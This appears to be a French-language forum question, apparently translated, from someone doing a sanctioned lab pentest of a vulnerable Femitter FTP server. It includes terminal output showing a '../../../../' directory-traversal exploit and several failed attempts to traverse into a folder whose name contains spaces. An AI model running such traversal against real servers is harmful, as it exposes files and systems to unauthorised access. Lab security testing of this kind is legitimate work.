Je mène un pentest sanctionné dans un environnement de référence fermé et je me suis débattu sur un problème apparemment simple que je ne peux pas résoudre actuellement.
Lorsque vous tentez d'exécuter une attaque de traversée de répertoire contre un serveur FTP Fermitter vulnérable fonctionnant sous MS Windows OS, il est possible de faire une LISTE à la racine du système (les adresses et les listes de contenu changées ici pour référence uniquement):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Toutefois, si je souhaite répertorier le contenu d'un dossier contenant des espaces blancs, par exemple Documents and settings
, je ne suis pas en mesure de répertorier le contenu du répertoire car les espaces blancs sont ignorés.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
J'ai déjà essayé d'utiliser différents clients FTP (CLI et GUI, sous Linux et Windows) et ils ignorent les espaces blancs ou interdisent la traversée de répertoire.
A également essayé de scénariser l'attaque sur Python en utilisant d'abord des sockets bruts puis ftplib pour envoyer les commandes au format HEX directement au serveur FTP, mais sans succès.
Googler pendant quelques heures n'a pas donné de solution de travail (oui, il y avait beaucoup d'options, qui n'ont pas fonctionné), c'est pourquoi il y a quelqu'un ici, qui a eu le même problème. Je suis sûr que ce n'est pas la première fois qu'une telle traversée de répertoire avec des espaces blancs est nécessaire.
\
ou en citant la chaîne de répertoire